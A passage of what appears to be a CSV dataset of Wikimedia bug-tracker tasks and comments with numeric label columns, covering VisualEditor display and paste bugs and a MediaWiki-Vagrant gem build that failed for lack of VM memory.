+**Severity**: normal",Medium,50.0,1378656660,1380740276.0,PHID-USER-sryrz6tgcfnnsiddx32p,False,,False,PHID-TASK-7wslc7ru3hkj3phtleql,task_description,resolved,True,c1,3,False,False,False,9,,1,0,0,0,0,1,1,0,0,0,1,0,0,0,1,0,0,1,1,0,0,1,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,1
+247352,"VisualEditor: Hide ""version false"" in the help menu if it can't be shown","Yes, this was exposed as part of bug 53050, but due to bug 53972 in how code is currently deployed to the WMF cluster, we can't actually make this available outside of Beta Labs (boo). Consequently this was fixed in gerrit 84334 two weeks ago before it hit ""real"" production wikis (non-MW.org).",,,1380740276,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-7wslc7ru3hkj3phtleql,task_subcomment,,True,c1,3,True,,,13,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,1,0,0,0,0,0,0
+247347,"VisualEditor: Hide ""version false"" in the help menu if it can't be shown","I don't see false anymore, but currently there is no element whose class contains ""ve-init-mw-ViewPageTarget-version"" either. Was this removed on purpose?",,,1380708958,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-7wslc7ru3hkj3phtleql,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,1,1,1,0,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,0,0,0,0,0,0
+247343,"VisualEditor: Hide ""version false"" in the help menu if it can't be shown","I dont see 'false' on mw or en.wp.  I see 'beta'.
+
+Is the originally reported problem fixed, or masked somehow.
+
+I notice that version says '0.1.0', which is not useful as there have been many deploys of the code.  beta's should have build numbers or build dates for each release.
+
+https://www.mediawiki.org/wiki/Special:Version
+
+e.g. ULS is 'Version 2013-06-17'",,,1380678404,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-7wslc7ru3hkj3phtleql,task_subcomment,,True,c1,3,False,,,13,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,0,0,0,0,0,1
+55893,VisualEditor: Protection edit notice should also show when under cascaded protection from another page,"Article tabs are wrong when page is protected via cascading from another page.
+
+To reproduce: visit https://pl.wikipedia.org/wiki/Wikipedia:Strona_główna?uselang=en and behold the ""Edit source"" link, even if you're anonymus.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=11700",Medium,50.0,1378575540,1398277508.0,PHID-USER-wkpnidxoctuhawexig5p,False,,False,PHID-TASK-m6zybnoobh3hwy2qmm6n,task_description,resolved,True,c1,3,True,False,False,9,,0,0,0,1,0,1,1,0,0,1,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,0,0,1,0,0,0
+245835,VisualEditor: Protection edit notice should also show when under cascaded protection from another page,"Change 128965 merged by jenkins-bot:
+Check cascade protection and show notice if relevant
+
+https://gerrit.wikimedia.org/r/128965",,,1398277452,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-m6zybnoobh3hwy2qmm6n,task_subcomment,,True,c1,3,False,,,42,,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+245831,VisualEditor: Protection edit notice should also show when under cascaded protection from another page,"Change 128965 had a related patch set uploaded by Alex Monk:
+Check cascade protection and show notice if relevant
+
+https://gerrit.wikimedia.org/r/128965",,,1398192310,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-m6zybnoobh3hwy2qmm6n,task_subcomment,,True,c1,3,False,,,42,,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+245825,VisualEditor: Protection edit notice should also show when under cascaded protection from another page,"Did something change here? MW shows an edit tab on these pages. If you turn on VE then it changes that ""Edit"" to ""Edit source"" and adds a new ""Edit"", which is what I would expect it to do.
+
+What probably should be done is showing the cascade notice on VE though.",,,1397779435,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-m6zybnoobh3hwy2qmm6n,task_subcomment,,True,c1,3,True,,,41,,0,1,0,1,0,1,0,0,1,1,0,0,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,0
+245820,VisualEditor: Protection edit notice should also show when under cascaded protection from another page,*** Bug 58452 has been marked as a duplicate of this bug. ***,,,1386959355,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-m6zybnoobh3hwy2qmm6n,task_subcomment,,True,c1,3,True,,,23,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+55864,provisioning browsertests role fails,"I added role ""browsertests"", but every time I run `vagrant provision` it fails. It seems to be trying to install an ""ffi"" (foreign function interface) module.
+
+Fri Sep 06 20:26:53 +0000 2013 /Stage[main]/Browsertests/Exec[install browsertests bundle]/returns (notice): Using rake (10.1.0)
+Fri Sep 06 20:26:53 +0000 2013 /Stage[main]/Browsertests/Exec[install browsertests bundle]/returns (notice): Using builder (3.2.2)
+Fri Sep 06 20:26:53 +0000 2013 /Stage[main]/Browsertests/Exec[install browsertests bundle]/returns (notice): Installing ffi (1.9.0) with native extensions /usr/lib/ruby/1.9.1/rubygems/installer.rb:552:in `rescue in block in build_extensions': ERROR: Failed to build gem native extension. (Gem::Installer::ExtensionBuildError)
+Fri Sep 06 20:26:53 +0000 2013 /Stage[main]/Browsertests/Exec[install browsertests bundle]/returns (notice):
+Fri Sep 06 20:26:53 +0000 2013 /Stage[main]/Browsertests/Exec[install browsertests bundle]/returns (notice):         /usr/bin/ruby1.9.1 extconf.rb
+Fri Sep 06 20:26:53 +0000 2013 /Stage[main]/Browsertests/Exec[install browsertests bundle]/returns (notice):
+Fri Sep 06 20:26:53 +0000 2013 /Stage[main]/Browsertests/Exec[install browsertests bundle]/returns (notice): Gem files will remain installed in /home/vagrant/.gem/ruby/1.9.1/gems/ffi-1.9.0 for inspection.
+Fri Sep 06 20:26:53 +0000 2013 /Stage[main]/Browsertests/Exec[install browsertests bundle]/returns (notice): Results logged to /home/vagrant/.gem/ruby/1.9.1/gems/ffi-1.9.0/ext/ffi_c/gem_make.out
+
+gem_make.out has only:
+   /usr/bin/ruby1.9.1 extconf.rb
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=69874",Medium,50.0,1378503240,1410462222.0,PHID-USER-gbl4hfak3cfurt3c7skd,False,,False,PHID-TASK-da2sdjr5nuneldb7hbcy,task_description,resolved,True,c1,3,False,False,False,9,,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,1
+243955,provisioning browsertests role fails,Forgot to tag the commit in https://gerrit.wikimedia.org/r/#/c/158564/ but the patch should have fixed this and other bugs related to botched ffi compilation. A good handful of the most problematic gems are now installed from packages.,,,1410462222,,PHID-USER-7bifphmxtcqgvdofuzla,False,,,PHID-TASK-da2sdjr5nuneldb7hbcy,task_subcomment,,True,c1,3,False,,,62,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0
+243949,provisioning browsertests role fails,"After profiling the `bundle install` process, I'm seeing around 128M as the peark memory usage. That seems like a reasonable amount of free memory to expect on the VM considering some of the other memory intensive processes that need to run (xvfb/firefox in browser testing, for example, uses around 192M).",,,1408742280,,PHID-USER-7bifphmxtcqgvdofuzla,False,,,PHID-TASK-da2sdjr5nuneldb7hbcy,task_subcomment,,True,c1,3,False,,,59,,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+243945,provisioning browsertests role fails,The ruby-ffi package is for Ruby 1.9. Perhaps we should try switching back to a shared directory for bundler gems. That would at least mitigate the failures by only performing ffi compilation (and other native gem compilation) once.,,,1408736249,,PHID-USER-7bifphmxtcqgvdofuzla,False,,,PHID-TASK-da2sdjr5nuneldb7hbcy,task_subcomment,,True,c1,3,False,,,59,,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,1,0
+243941,provisioning browsertests role fails,Can we do `apt-get install ruby-ffi` instead of compiling ffi with bunder?,,,1408727122,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-da2sdjr5nuneldb7hbcy,task_subcomment,,True,c1,3,True,,,59,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0
+243936,provisioning browsertests role fails,"Is this still an active problem? The browsertests role has been removed, but there are now several extension specific roles which install gems via bundler to provide testing support.",,,1408494405,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-da2sdjr5nuneldb7hbcy,task_subcomment,,True,c1,3,True,,,59,,1,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0
+243931,provisioning browsertests role fails,"I managed to get tests running after increasing memory size to 1024. Is it possible to increase memory size just when gems are installing, and then decrease it back to 512?",,,1380204683,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-da2sdjr5nuneldb7hbcy,task_subcomment,,True,c1,3,True,,,12,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,1,0,1,0,0,1,0,0,0
+243926,provisioning browsertests role fails,"Found it. Mediawiki-Vagrant[1] says to edit Vagrantfile-extra.rb. Now VM memory size is 1024.
+
+$ vagrant halt
+edit Vagrantfile-extra.rb
+$ vagrant up
+$ VBoxManage showvminfo ...
+...
+Memory size: 1024MB
+...
+
+1: https://www.mediawiki.org/wiki/Mediawiki-Vagrant",,,1380202260,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-da2sdjr5nuneldb7hbcy,task_subcomment,,True,c1,3,True,,,12,,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1
+243921,provisioning browsertests role fails,"I have tried this.
+
+#1 $ vagrant halt
+
+#2 changed
+
+vb.customize ['modifyvm', :id, '--memory', '768']
+
+in Vagrantfile to
+
+vb.customize ['modifyvm', :id, '--memory', '1024']
+
+#3 $ vagrant up
+   $ vagrant provision
+
+but both ""VBoxManage showvminfo"" and ""Oracle VM VirtualBox Manager"" still say ""Memory size: 768MB"".",,,1380201351,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-da2sdjr5nuneldb7hbcy,task_subcomment,,True,c1,3,True,,,12,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,1
+243918,provisioning browsertests role fails,"Created attachment 13384
+VBoxManage showvminfo
+
+**Attached**: {F11493}",,,1380201068,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-da2sdjr5nuneldb7hbcy,task_subcomment,,True,c1,3,True,,,12,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+243913,provisioning browsertests role fails,"Created attachment 13383
+vagrant provision
+
+**Attached**: {F11492}",,,1380201049,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-da2sdjr5nuneldb7hbcy,task_subcomment,,True,c1,3,True,,,12,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+243908,provisioning browsertests role fails,"I have the same problem. I will attach output of ""vagrant enable-role browsertests"" and ""VBoxManage showvminfo"".
+
+How do I increase VM memory size? (Looks like it is 768MB now.)
+
+In Vagrantfile[1] or ""Oracle VM VirtualBox Manager > VM > right click > Settings > System > Base Memory""?
+
+1: https://github.com/wikimedia/mediawiki-vagrant/blob/master/Vagrantfile#L65",,,1380201013,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-da2sdjr5nuneldb7hbcy,task_subcomment,,True,c1,3,True,,,12,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,0,0,0,0,0,1
+243903,provisioning browsertests role fails,"(In reply to comment #5)
+> I increased the VM to 1024, `vagrant halt` `vagrant up`!
+... that should have continued ""and the vagrant provision complete successfully, and I can run tests!""  Yay, thanks for the memory suggestion.
+
+(In reply to comment #6)
+> the way to resolve this is to document...
+I added something, https://www.mediawiki.org/w/index.php?title=MediaWiki-Vagrant&diff=783886&oldid=781408
+
+> ... one should try freeing some memory in the VM
+You mean by temporarily disabling other roles until vagrant provisions browsertests successfully?  I didn't try stopping apache/mysql/parsoid/redis in the vagrant VM, because I assumed `vagrant provision` would have restarted them before running the ruby gem bundler.
+
+I guess the opaque exception reporting is an upstream issue.",,,1379308175,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-da2sdjr5nuneldb7hbcy,task_subcomment,,True,c1,3,False,,,11,,1,1,0,0,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,1,1,1,0,1,1,0,1,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,1,1,0,1,1,0,1,1,1,0,0,1
+243899,provisioning browsertests role fails,"(In reply to comment #5)
+> I increased the VM to 1024, `vagrant halt` `vagrant up`!
+
+And -- did it work? I guess it did, because you later speak of ""successful and unsuccessful runs"".
+
+I don't think it's viable to keep increasing the default RAM allocation just so that this one Gem can compile, so the way to resolve this is to document the fact that compiling the ffi Gem is a memory-hungry task and that if it fails one should try freeing some memory in the VM or increasing the RAM allocation.",,,1379306284,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-da2sdjr5nuneldb7hbcy,task_subcomment,,True,c1,3,True,,,11,,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,1,0,0,1,0,0,1,1,1,1,1,0,0,1,1,0,0,1,1,0,0,0,1,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,1,1,0,1,0,0,1,0,1,0,0,1
+243893,provisioning browsertests role fails,"Created attachment 13289
+output of `vboxmanage showvminfo ...` before I increased VM memory
+
+**Attached**: {F11491}",,,1379305914,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-da2sdjr5nuneldb7hbcy,task_subcomment,,True,c1,3,False,,,11,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+243887,provisioning browsertests role fails,"Thanks for the updates. I did not modify the VM's memory size.
+Maybe the difference between me and Chris is my roles include eventlogging, gettingstarted (which loads redis) and visualeditor+parsoid.
+
+I increased the VM to 1024, `vagrant halt` `vagrant up`!
+
+In the vagrant VM, on both successful and unsuccessful runs, puppet spends many minutes running
+/usr/bin/ruby /usr/bin/bundle install --path /home/vagrant/.gem
+with no output.
+
+/home/vagrant/.gem/ruby/1.9.1/gems contains a bunch of old gems from May14, and the new revisions of gems from this run.
+
+drwxr-xr-x  4 vagrant vagrant 4096 May 14 04:28 builder-3.2.0
+drwxr-xr-x  6 vagrant vagrant 4096 Sep  6 22:14 builder-3.2.2
+drwxr-xr-x  4 vagrant vagrant 4096 May 14 04:35 childprocess-0.3.9
+drwxr-xr-x  6 vagrant vagrant 4096 May 14 04:35 chunky_png-1.2.8
+drwxr-xr-x 10 vagrant vagrant 4096 May 14 04:44 cucumber-1.3.1
+drwxr-xr-x  6 vagrant vagrant 4096 May 14 04:45 data_magic-0.14
+drwxr-xr-x  7 vagrant vagrant 4096 May 14 04:35 diff-lcs-1.2.4
+drwxr-xr-x  4 vagrant vagrant 4096 May 14 04:44 faker-1.1.2
+drwxr-xr-x  7 vagrant vagrant 4096 May 14 04:29 ffi-1.8.1
+drwxr-xr-x  7 vagrant vagrant 4096 Sep 16 03:50 ffi-1.9.0    <--- the problem
+drwxr-xr-x 10 vagrant vagrant 4096 May 14 04:35 gherkin-2.12.0
+drwxr-xr-x  5 vagrant vagrant 4096 May 14 04:44 i18n-0.6.4
+drwxr-xr-x  4 vagrant vagrant 4096 May 14 04:35 multi_json-1.7.3
+drwxr-xr-x  4 vagrant vagrant 4096 May 14 04:45 net-http-persistent-2.8
+drwxr-xr-x  4 vagrant vagrant 4096 May 14 04:45 page_navigation-0.9
+drwxr-xr-x  5 vagrant vagrant 4096 May 14 04:45 page-object-0.8.10
+drwxr-xr-x  4 vagrant vagrant 4096 May 14 04:45 parallel-0.6.4
+drwxr-xr-x  5 vagrant vagrant 4096 May 14 04:45 parallel_tests-0.12.3
+drwxr-xr-x  6 vagrant vagrant 4096 May 14 04:28 rake-10.0.4
+drwxr-xr-x  6 vagrant vagrant 4096 Sep  6 22:14 rake-10.1.0",,,1379305740,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-da2sdjr5nuneldb7hbcy,task_subcomment,,True,c1,3,False,,,11,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,1,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,1
+243882,provisioning browsertests role fails,Apparently having two different people attempt to verify your report is not quite enough to warrant a follow-up. Closing as invalid.,,,1379144075,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-da2sdjr5nuneldb7hbcy,task_subcomment,,True,c1,3,True,,,10,,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+243875,provisioning browsertests role fails,[mass-moving from Tools>MediaWiki-Vagrant to separate product. See bug 54041. Filter bugmail on this comment.],,,1378939542,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-da2sdjr5nuneldb7hbcy,task_subcomment,,True,c1,3,True,,,10,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1
+243868,provisioning browsertests role fails,"I ran into this problem before. If I recall correctly, it's an out-of-memory error that bundler is unhelpfully catching and re-throwing as an uninformative generic exception. The memory requirements of building the ffi gem were the original impetus for bumping the VM's memory allocation to 768 Mb, but since we've done that I have not run into this problem. Have you modified the VM's memory allocation setting at all?
+
+If you have not modified the VM, can you reproduce the output of ""vboxmanage showvminfo""? It should be invoked with the machine's UUID as the final command-line argument. The UUID can be found in .vagrant/machines/default/virtualbox/id, which should exist under your Vagrant repo root.",,,1378632611,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-da2sdjr5nuneldb7hbcy,task_subcomment,,True,c1,3,True,,,9,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,0,1,1,0,1,0,0,0,1,0,1,1,1,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,0
+243863,provisioning browsertests role fails,I was not able to reproduce this in a fresh VM,,,1378503546,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-da2sdjr5nuneldb7hbcy,task_subcomment,,True,c1,3,False,,,9,,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+55828,VisualEditor: Pasting text into VE from external text processor removes newlines,"System environment:
+Win7 X64
+Google Chrome 29.0.1547.62 m
+
+Steps to reproduce:
+Open a page
+Edit it in VE
+Copy-paste the following text:
+a
+b
+c
+d
+e
+
+Expected output:
+a
+b
+c
+d
+e
+
+Actual output:
+abcde
+
+The problem has been tested with notepad++ as the external editor, with line endings in windows format (CRLF), UNIX format (LF) and MAC format (CR). Newline is not copied in any of the cases.
+
+The problem has also been tested by trying to copy-paste html text from chrome itself. Newline is not copied.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=52096",Medium,50.0,1378418160,1385505615.0,PHID-USER-4bjsher5mqcoikeqnnec,False,,False,PHID-TASK-3yhieue5lg5ipuzhildn,task_description,resolved,True,c1,3,False,False,False,9,,1,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,1,1,0,0,1
+241835,VisualEditor: Pasting text into VE from external text processor removes newlines,"Change 86664 merged by jenkins-bot:
+Rich paste
+
+https://gerrit.wikimedia.org/r/86664",,,1385500082,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3yhieue5lg5ipuzhildn,task_subcomment,,True,c1,3,False,,,21,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+241829,VisualEditor: Pasting text into VE from external text processor removes newlines,Works with gedit & chrome with the rich paste patch.,,,1381157678,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-3yhieue5lg5ipuzhildn,task_subcomment,,True,c1,3,True,,,14,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+241824,VisualEditor: Pasting text into VE from external text processor removes newlines,"Change 86664 had a related patch set uploaded by Esanders:
+Rich paste
+
+https://gerrit.wikimedia.org/r/86664",,,1381157509,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3yhieue5lg5ipuzhildn,task_subcomment,,True,c1,3,False,,,14,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+241820,VisualEditor: Pasting text into VE from external text processor removes newlines,"Confirmed in Firefox 23 / Xubuntu Linux / Monobook
+
+Using kwrite:
